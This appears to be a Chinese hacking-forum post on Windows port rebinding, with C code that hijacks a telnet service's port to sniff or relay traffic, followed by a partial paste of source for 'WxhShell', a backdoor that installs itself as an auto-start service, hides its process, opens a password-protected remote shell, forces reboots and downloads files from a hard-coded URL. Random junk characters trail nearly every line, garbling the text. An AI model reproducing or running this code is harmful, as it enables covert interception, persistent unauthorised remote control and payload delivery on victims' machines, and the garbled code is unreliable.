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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^#&PTq>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bt(U,nFB  
(/gMtIw  
  saddr.sin_family = AF_INET; )g[7XB/w  
yPT\9"/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6;p"xC-  
*#c^.4$'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M(#]NTr ~4  
Qo])A6$IU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3im2 `n  
)mE67{YJh~  
  这意味着什么?意味着可以进行如下的攻击: ,N@N4<C]  
BBHoD:l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 by* v($  
jGFDj"Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jOU1F1  
3 , nr*R!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]X<L~s_*  
h45RwQ5Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P;[>TCs ]8  
_2rxDd1#.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v0,&wdi  
e|Mw9DIW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +Q&CIo  
 H;Cv] -  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k*o>ZpjNH  
gtJCvVj>g  
  #include Ahrtl6@AS  
  #include % QI6`@Y"  
  #include FXo{|z3  
  #include    qY|NA)E)Bp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "<1-9CMl  
  int main() ^_XV}&7Q  
  { QI{<q<  
  WORD wVersionRequested; _[8sL^  
  DWORD ret; $[g8j`or!  
  WSADATA wsaData; <:I]0|[  
  BOOL val; &8@ a"  
  SOCKADDR_IN saddr; c%x.cbu>  
  SOCKADDR_IN scaddr; Ufv0Xj  
  int err; (qg~l@rf  
  SOCKET s; u%rB]a$/  
  SOCKET sc; ( Y)a`[B  
  int caddsize; n_1,-(t  
  HANDLE mt; :my@Oxx4@  
  DWORD tid;   cDqj&:$e  
  wVersionRequested = MAKEWORD( 2, 2 ); V(<(k,8=  
  err = WSAStartup( wVersionRequested, &wsaData ); .tt=\R  
  if ( err != 0 ) { wZ\% !# }7  
  printf("error!WSAStartup failed!\n"); CpdQ]Ai[  
  return -1;  Sn-D|Z  
  } VQHQvFRZ)  
  saddr.sin_family = AF_INET; G L8 N!,  
   (5&l<u"K~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &E$:^a4d  
p^i]{"sjbU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g%2twq_  
  saddr.sin_port = htons(23); LAPC L&Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  cvO;xR  
  { <G#z;]N  
  printf("error!socket failed!\n"); V|G[j\]E<  
  return -1; m`H9^w%W  
  } QliP9-im3  
  val = TRUE; -KU@0G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8b:\@]g$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %LBT:Aw  
  { n^$HC=}S  
  printf("error!setsockopt failed!\n"); egy#8U)Z  
  return -1; 8,YxCm ie  
  } 0/0rWqg /  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _~_6qTv-d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kJ:zMVN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l$eKV(CZ4  
<]kifiN#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?8aPd"x  
  { 6jo+i[h  
  ret=GetLastError(); u(P;) E"1  
  printf("error!bind failed!\n"); ~ZXAW~a}  
  return -1; C! J6"j  
  } ~n`G>Oe3  
  listen(s,2); W.VyH|?  
  while(1) 2Ik@L,  
  { HP*AN@>Kw  
  caddsize = sizeof(scaddr); ffE&=eh)  
  //接受连接请求 Ehf3L |9   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6v9A7g;4.  
  if(sc!=INVALID_SOCKET) }Q%fY&#(bp  
  { 8I|2yvhP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |q*s)8  
  if(mt==NULL) f+D a W  
  { 8et.A  
  printf("Thread Creat Failed!\n"); }t9A#GOz  
  break; 9G=ZB^  
  } m=p<.%a  
  } NP5;&}uv*!  
  CloseHandle(mt); >"z&KZKI  
  } \J?5K l[*c  
  closesocket(s); 4E.K6=k|=a  
  WSACleanup(); Il,^/qvIY  
  return 0; C*fSPdg?  
  }   b6~MRfx`7  
  DWORD WINAPI ClientThread(LPVOID lpParam) |? l6S  
  { n*U+jc  
  SOCKET ss = (SOCKET)lpParam; +i.b&PF'H  
  SOCKET sc; >!|(n @  
  unsigned char buf[4096]; Hxzdxwz%$  
  SOCKADDR_IN saddr; 9dXtugp|  
  long num; a?QDf5C q  
  DWORD val; 6 w:@i_2^  
  DWORD ret; F Wzf8*^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C/je5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b(McH*_8e  
  saddr.sin_family = AF_INET; GDj ViAFm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9XPQ1LSx  
  saddr.sin_port = htons(23); mQ]wLPP{1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L?( % *  
  { k 1   
  printf("error!socket failed!\n"); IRW%*W#  
  return -1; J((.zLvz  
  } 8{Id+Q>Vo,  
  val = 100; >J[Wd<~t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B[rxV  
  {  >o"3:/3  
  ret = GetLastError(); (G:K?o)  
  return -1; 8FY/57.W  
  } 9#AsSbBpf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @43o4,  
  { RU^lR8;  
  ret = GetLastError(); [F< Tl =  
  return -1; c(<,qWH  
  } bs_"Nn?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dQ4K^u  
  { 'of5v6:8  
  printf("error!socket connect failed!\n"); v|v^(P,o  
  closesocket(sc); JV#)?/a$z  
  closesocket(ss); 044*@a5f  
  return -1; [ZP8l'?  
  } jW-j+ WGSM  
  while(1) (SlrV8;  
  { $&|*v1rH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 { !C';^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &G>EBKn\2`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @#%rTKD9F  
  num = recv(ss,buf,4096,0); d#9"_{P  
  if(num>0) y`EcBf  
  send(sc,buf,num,0); Gv,0{DVX<  
  else if(num==0) $*{$90 Q  
  break; i-EFq@xl  
  num = recv(sc,buf,4096,0); c=T^)~$$  
  if(num>0) @9QtK69  
  send(ss,buf,num,0); {A2SG#}  
  else if(num==0) s2@}01QPo  
  break; _~`\TS8  
  } NgnHo\)  
  closesocket(ss); *L9s7RR  
  closesocket(sc); T$'GFA  
  return 0 ; L:y} L  
  } syYg, G[  
Hop$w  
3 9Ql|l$  
========================================================== fFfH9cl!  
rwlV\BU  
下边附上一个代码,,WXhSHELL 3?vasL  
QJ ueU%|  
========================================================== Hize m!  
d/GP.d  
#include "stdafx.h" J(\"\Z  
*My?l75  
#include <stdio.h> 3d.JV'C'c  
#include <string.h> C'hI{4@P  
#include <windows.h> q)ygSOtj  
#include <winsock2.h> )-9G*3  
#include <winsvc.h> KsGSs9  
#include <urlmon.h> V X<ZB +R  
b+NF: -fO  
#pragma comment (lib, "Ws2_32.lib") W.ud<OKP90  
#pragma comment (lib, "urlmon.lib") b\ %=mN  
OH28H),}  
#define MAX_USER   100 // 最大客户端连接数 7"r7F#D=G  
#define BUF_SOCK   200 // sock buffer -P5VE0  
#define KEY_BUFF   255 // 输入 buffer A`7uw|uO$  
'r%`(Z{~  
#define REBOOT     0   // 重启 N1KYV&'o  
#define SHUTDOWN   1   // 关机 SPIYB/C  
Lrr^obc  
#define DEF_PORT   5000 // 监听端口 2k[i7Rl \c  
'!!w|k d  
#define REG_LEN     16   // 注册表键长度 _1c'~;  
#define SVC_LEN     80   // NT服务名长度 u!%]?MSc  
*0y+=,"QU  
// 从dll定义API ? kew[oZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6-#f1D 6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qoMYiF}/e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AjaG .fa]k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aI|<t^X  
&tKs t,UR8  
// wxhshell配置信息 <}%>a@  
struct WSCFG { &j/ WjZPF  
  int ws_port;         // 监听端口 ehXj.z  
  char ws_passstr[REG_LEN]; // 口令 M"K$81  
  int ws_autoins;       // 安装标记, 1=yes 0=no :eI .E:/'  
  char ws_regname[REG_LEN]; // 注册表键名 QzIK580%t  
  char ws_svcname[REG_LEN]; // 服务名 4T6dju  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vhEPk2wD,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j?6%=KuX<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v'.?:S&m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $.(>Sj1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iLy }G7h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UUv&X+ Y  
@3[Z Q F  
}; vI ]| W  
r]km1SrS  
// default Wxhshell configuration PDX^MYoN  
struct WSCFG wscfg={DEF_PORT, O!sZMGF$p  
    "xuhuanlingzhe", ]?^m;~MQZ  
    1, E/(:\Cm^  
    "Wxhshell", KS'? DO  
    "Wxhshell", :9c QK]O6  
            "WxhShell Service", Mno4z/4{A  
    "Wrsky Windows CmdShell Service", ~,Q+E8  
    "Please Input Your Password: ", _U$d.B'*)z  
  1, C$)#s{*  
  "http://www.wrsky.com/wxhshell.exe", pq>"GEN  
  "Wxhshell.exe" anA>'63  
    }; Y-n* K'  
GS~jNZx  
// 消息定义模块 %Md;=,a:6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oj@B'j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5_M9T 3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CIQo2~G  
char *msg_ws_ext="\n\rExit."; Hw<t>z k  
char *msg_ws_end="\n\rQuit."; c3!d4mC:  
char *msg_ws_boot="\n\rReboot..."; g`gH]W FcG  
char *msg_ws_poff="\n\rShutdown..."; suaTXKjyk+  
char *msg_ws_down="\n\rSave to "; W*-+j*e|_P  
_=j0Y=/IF  
char *msg_ws_err="\n\rErr!"; hti)<#f  
char *msg_ws_ok="\n\rOK!"; "VkraB.i  
I2%{6g@  
char ExeFile[MAX_PATH]; LKxyj@Eq  
int nUser = 0; eUVE8pZl  
HANDLE handles[MAX_USER]; F)lDK.  
int OsIsNt; M'HmVg4'  
hp,bfcM  
SERVICE_STATUS       serviceStatus; _i:yI-jA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O~-#>a  
,;H)CUe1"  
// 函数声明 qbHb24I  
int Install(void); SwG:?T!"}  
int Uninstall(void); UL(R/yc  
int DownloadFile(char *sURL, SOCKET wsh); $PstThM  
int Boot(int flag); +K;(H']Z<-  
void HideProc(void); 6\g]Y  
int GetOsVer(void); Z|uUE   
int Wxhshell(SOCKET wsl); r.[!n)*  
void TalkWithClient(void *cs); xgL*O>l)  
int CmdShell(SOCKET sock); DK&J"0jz,  
int StartFromService(void);  MI!C%  
int StartWxhshell(LPSTR lpCmdLine); {Aj}s3v  
O@'/B" &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xg/3*rL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X|7gj &1  
;->(hFJt  
// 数据结构和表定义 4{X5ZS?CkI  
SERVICE_TABLE_ENTRY DispatchTable[] = !V$m!i;  
{ :u`  
{wscfg.ws_svcname, NTServiceMain}, /{d7%Et6  
{NULL, NULL} ;a XcGa  
}; %rzC+=*;  
!CTchk<{(  
// 自我安装 %w=*4!NWb  
int Install(void) UOZ"#cQ  
{ 5K;jW  
  char svExeFile[MAX_PATH]; pz6fL=Xd  
  HKEY key; vR3'B3y  
  strcpy(svExeFile,ExeFile); {2}O\A  
=" #O1$  
// 如果是win9x系统,修改注册表设为自启动 ZTVX5"#Q  
if(!OsIsNt) { gb|C592R5C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >jME == U0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6OF&Q`*4  
  RegCloseKey(key); H.hF`n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /d&zE|!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HO/Ij  
  RegCloseKey(key); |gA~E>IqF  
  return 0; kTT!gZP$  
    } /G9wW+1  
  } 7;) T;X  
} t)=u}t$  
else { H? Z5ex  
y-)|u:~h  
// 如果是NT以上系统,安装为系统服务 &{]zL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r;g[<6`!S  
if (schSCManager!=0) "6w-jT  
{ f6j;Y<}' g  
  SC_HANDLE schService = CreateService >_jT.d  
  ( JZNRMxu  
  schSCManager,  btJ:Wt}  
  wscfg.ws_svcname, $5jQm,V$K  
  wscfg.ws_svcdisp, X&8&NkH  
  SERVICE_ALL_ACCESS, oa?bOm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G<#9`  
  SERVICE_AUTO_START, }Ry:})  
  SERVICE_ERROR_NORMAL, @Z&El:]3>  
  svExeFile, 7;jwKA;k  
  NULL, KbQ UA$gL=  
  NULL, 2%'{f  
  NULL, `|P fa  
  NULL,  5f(yF  
  NULL PxNp'PZr9  
  ); --4,6va`e  
  if (schService!=0) T@GT=1E)  
  { {Xb 6wQ"  
  CloseServiceHandle(schService); p#wQW[6  
  CloseServiceHandle(schSCManager); s {p-cV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W,9. z%  
  strcat(svExeFile,wscfg.ws_svcname); { Iy<iV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xeF0^p7Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c Owa^;  
  RegCloseKey(key); 0?8O9i  
  return 0; <^c?M[ j  
    } y[:\kI  
  } :hr% 6K7  
  CloseServiceHandle(schSCManager); dl mF?N|EC  
} %4|*  
} gHpA@jdC*  
v;AsV`g  
return 1; }:<`L\8q\  
} h+<vWo}H  
m-Q!V+XQp  
// 自我卸载 ``$Dgj[  
int Uninstall(void) E #q gt9  
{ @E;'Ffo  
  HKEY key; @iwVU]j  
v W=$C  
if(!OsIsNt) { HX%lL }E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iZ}Afj  
  RegDeleteValue(key,wscfg.ws_regname); cH%qoHgx  
  RegCloseKey(key); rp^= vfW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'APtY;x^{  
  RegDeleteValue(key,wscfg.ws_regname); bnHQvCO3$  
  RegCloseKey(key); :>4pH  
  return 0; un([3r  
  } a9]F.Jm  
} }N[|2n R'  
} r@b M3V_o  
else { W^#HR  
{9:[nqX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B3|h$aKC  
if (schSCManager!=0) P'%#B&LZo  
{ dO]N&'P7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R+{QZ'K.qg  
  if (schService!=0) {w:*t)@j  
  { U4)x"s[CP  
  if(DeleteService(schService)!=0) { :0@R(ct;>  
  CloseServiceHandle(schService); Sk7l&B  
  CloseServiceHandle(schSCManager); nb-]fa  
  return 0; %3b;`Oa  
  } #gn{X!;-;  
  CloseServiceHandle(schService); _ 3@[S F  
  } yvR3|  
  CloseServiceHandle(schSCManager); R9XISsM^  
} eajctkzj  
} r9MS,KG8  
do,ZCn  
return 1; H4RqOI  
} qLC_p)  
&! i'Q;q  
// 从指定url下载文件 !|4fww  
int DownloadFile(char *sURL, SOCKET wsh) cxX/ b ,  
{ F{*{f =E!B  
  HRESULT hr; "#}Uh  
char seps[]= "/"; DBTeV-G9~R  
char *token; OM,Dy&Y  
char *file; h0**[LDH  
char myURL[MAX_PATH]; *rKj%Me  
char myFILE[MAX_PATH]; <"/b 5kc  
QguRU|y  
strcpy(myURL,sURL); oKyl2jg+,  
  token=strtok(myURL,seps); (h {"/sR  
  while(token!=NULL) CCoT  
  { C_> WU   
    file=token; m q#8 [D  
  token=strtok(NULL,seps); *<r\:g  
  } P+ ejyl,  
#h=pU/R  
GetCurrentDirectory(MAX_PATH,myFILE); a|}v?z\  
strcat(myFILE, "\\"); @S?`!=M  
strcat(myFILE, file); Q9T/@FX  
  send(wsh,myFILE,strlen(myFILE),0); $ljzw@k  
send(wsh,"...",3,0); Nm {|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [A jY ~  
  if(hr==S_OK) PmjN!/  
return 0; <Wr n/%tL  
else :O?+Ywn  
return 1; UP<B>Y1a  
\7V[G6'{  
} Sb QM!Q  
RnV#[bM{  
// 系统电源模块 MZIZ"b  
int Boot(int flag) jJ.isr|`  
{ ATRB9  
  HANDLE hToken; LI}@qLe  
  TOKEN_PRIVILEGES tkp; \9t/*%:  
idzc4jR6BT  
  if(OsIsNt) { F)8M9%g5m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); shk yN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g9~QNA  
    tkp.PrivilegeCount = 1; >DM^/EAG{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iQd,xr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^7Z#g0{^w  
if(flag==REBOOT) { /Fj*sS8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \Gl>$5np  
  return 0; `8 Ann~Z|k  
} PAD&sTjE*  
else { Q]1s*P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yDapl(  
  return 0; e6`g[Ap  
} 6N\f>c  
  } [AHoTlPZ  
  else { `g}po%k  
if(flag==REBOOT) { @|2sF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '"m-kor  
  return 0; f]4j7K!e]  
} r}S>t~p:  
else { j^5VmG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) byJR6f  
  return 0; mYx6JU*`  
} b[U;P=;=  
} B;64(Vsa8  
2}uSrA7n]  
return 1; 2rGg  
} 4k_y;$4WN  
% <1&\5f<5  
// win9x进程隐藏模块 cj;k{ Moc  
void HideProc(void) $Wn!vbL  
{ @ JfQ}`  
'O^<i`8U]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *";O_ :C!  
  if ( hKernel != NULL ) k0bDEz.X  
  { 1v~1?+a\2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dy.U;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .Lm0$o*`  
    FreeLibrary(hKernel); ){<qp  
  }  9dCf@5]  
_{2/QP}  
return; AfT;IG%Gt  
} ) :VF^"  
Y52TC@'  
// 获取操作系统版本 5~FXy{ZIH  
int GetOsVer(void) #z#`EBXV$6  
{ v"YaMbu  
  OSVERSIONINFO winfo; GdVrl[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YH,u*.I^/  
  GetVersionEx(&winfo); g1{2E<b 5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <Aqo[']  
  return 1; Rw^X5ByJE  
  else rPK1#  
  return 0; -nqq;|%  
} L[tq@[(IJ  
up2wkc8  
// 客户端句柄模块 vngn^2  
int Wxhshell(SOCKET wsl) q +!i6!6r  
{ R|[gEavFl  
  SOCKET wsh; dH)\zCt  
  struct sockaddr_in client; S5[}kfe  
  DWORD myID; >[S\NAE>  
:kvQ3E0  
  while(nUser<MAX_USER) 9JJk\,  
{ P52qtN<  
  int nSize=sizeof(client); 0~BZh%s< (  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |Q$Dj!!1P  
  if(wsh==INVALID_SOCKET) return 1; oj[<{/,C9  
0zE(:K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cToT_Mk  
if(handles[nUser]==0) e17]{6y  
  closesocket(wsh); 8aTo TA7JA  
else A'n{K#  
  nUser++; IU\h,Ug  
  } 0+NGFX \p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d$y?py  
dst!VO: M  
  return 0;  Y+Cv9U0  
} PV-B<Y  
JhvT+"~  
// 关闭 socket 3x>Y  
void CloseIt(SOCKET wsh) f=- R<l  
{ gnlU  
closesocket(wsh); w,LB  
nUser--; zGa V^X  
ExitThread(0); .gY=<bG/fA  
} t(UdV  
8Yf=)  
// 客户端请求句柄 cC9haxW  
void TalkWithClient(void *cs) DK1{Z;Z  
{ %rO)w?  
.:=5|0m  
  SOCKET wsh=(SOCKET)cs; rN'}IS@5  
  char pwd[SVC_LEN]; \{= {{O  
  char cmd[KEY_BUFF]; w{ P l  
char chr[1]; av~kF  
int i,j; cXK.^@du  
p MR4]G  
  while (nUser < MAX_USER) { " :V@AT  
WTu!/J<\  
if(wscfg.ws_passstr) { dte-2?%~j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f |NXibmP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V5p->X2#  
  //ZeroMemory(pwd,KEY_BUFF); IEY\l{s  
      i=0; YcW) D  
  while(i<SVC_LEN) { Z61L;E  
XV1XzG#C  
  // 设置超时 ?L6wky{  
  fd_set FdRead; R#!Urhh  
  struct timeval TimeOut; 7,Y+FZ  
  FD_ZERO(&FdRead); 7V&ly{</  
  FD_SET(wsh,&FdRead); luJNdA:t&  
  TimeOut.tv_sec=8; bd[iD?epD]  
  TimeOut.tv_usec=0; [Xww`OUsh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .dj}y jd]f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [^gb6W9Y  
o90[,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N'Vj& DWC  
  pwd=chr[0]; r`e6B!p  
  if(chr[0]==0xd || chr[0]==0xa) { ?=b#H6vs  
  pwd=0; )NO ,G  
  break; W Haf}.V  
  } ysFp$!9Ux  
  i++; VP*B<u  
    } Qe`Nb4xf  
b^"mQ   
  // 如果是非法用户,关闭 socket qyjVB/ko  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =]o2{d  
} ~Xc1y!"9*  
j|@8VxZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6O"y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); : :928y  
(&M,rW~Qxs  
while(1) { g`4WisL1n  
dw'P =8d  
  ZeroMemory(cmd,KEY_BUFF); \_7'f  
' ?a d  
      // 自动支持客户端 telnet标准   \vE-;,  
  j=0; v!AfIcEV  
  while(j<KEY_BUFF) { B5[As8Sa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M-(,*6Q  
  cmd[j]=chr[0]; 1jd.tup  
  if(chr[0]==0xa || chr[0]==0xd) { %yK- Q,'O  
  cmd[j]=0; \W|ymV_Ki  
  break; \/9O5`u*V  
  } 3gv?rJV  
  j++; r9p ((ir  
    } I_|W'%N]  
&_' evZ8  
  // 下载文件 V!s#xXD}  
  if(strstr(cmd,"http://")) { n>,? V3ly  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f/{ClP.  
  if(DownloadFile(cmd,wsh)) m?=J;r"Re  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HC"yC;_  
  else $|VdGRZ1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]'Gz~Z%>F  
  } K{XE|g  
  else { rr2^sQ;_  
[@NW  
    switch(cmd[0]) { Fe2t[y:8h  
  ;8cTy8  
  // 帮助 ek d[|g  
  case '?': { f||S?ns_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~|ha9 1  
    break; wdIJ?\/763  
  } =[0| qGzg  
  // 安装 q-S#[I+g  
  case 'i': { tO3#kV\,  
    if(Install()) IV%Rph>d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z}Vg4\x&  
    else 0|,Ij $  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 67U6`9d  
    break; 3pyE'9"f6  
    } 4W=fQx]  
  // 卸载 fIn^a 3TV  
  case 'r': { O 2/_$i[F  
    if(Uninstall()) | NyANsI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8J~-|<Q6  
    else W)L*zVj~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Ep!  
    break; 3teP6|K'g  
    } xdMY2u  
  // 显示 wxhshell 所在路径 z7pw~Tqlz  
  case 'p': { eKRE1DK  
    char svExeFile[MAX_PATH]; k{bC3)'$#R  
    strcpy(svExeFile,"\n\r"); {gzVbZ#  
      strcat(svExeFile,ExeFile); u R]8ZT")  
        send(wsh,svExeFile,strlen(svExeFile),0); "oh ;?gQ.  
    break; S$4 6YQ  
    } GQ sE5Vb  
  // 重启 *DQa6,b  
  case 'b': { :.(A,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z7k ku:9  
    if(Boot(REBOOT)) r-a0XNS*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {9{PU&?(  
    else { 77'@U(  
    closesocket(wsh); YR[I,j  
    ExitThread(0); 9x eg,#1  
    } gOMy8w4>  
    break; ^b 3nEcQn  
    } DXZZZ[#  
  // 关机 L0Ajj=  
  case 'd': { :es=T`("A8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cv;#8Wj}  
    if(Boot(SHUTDOWN)) li0)<("/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tD,I7%|@  
    else { B &3sV+  
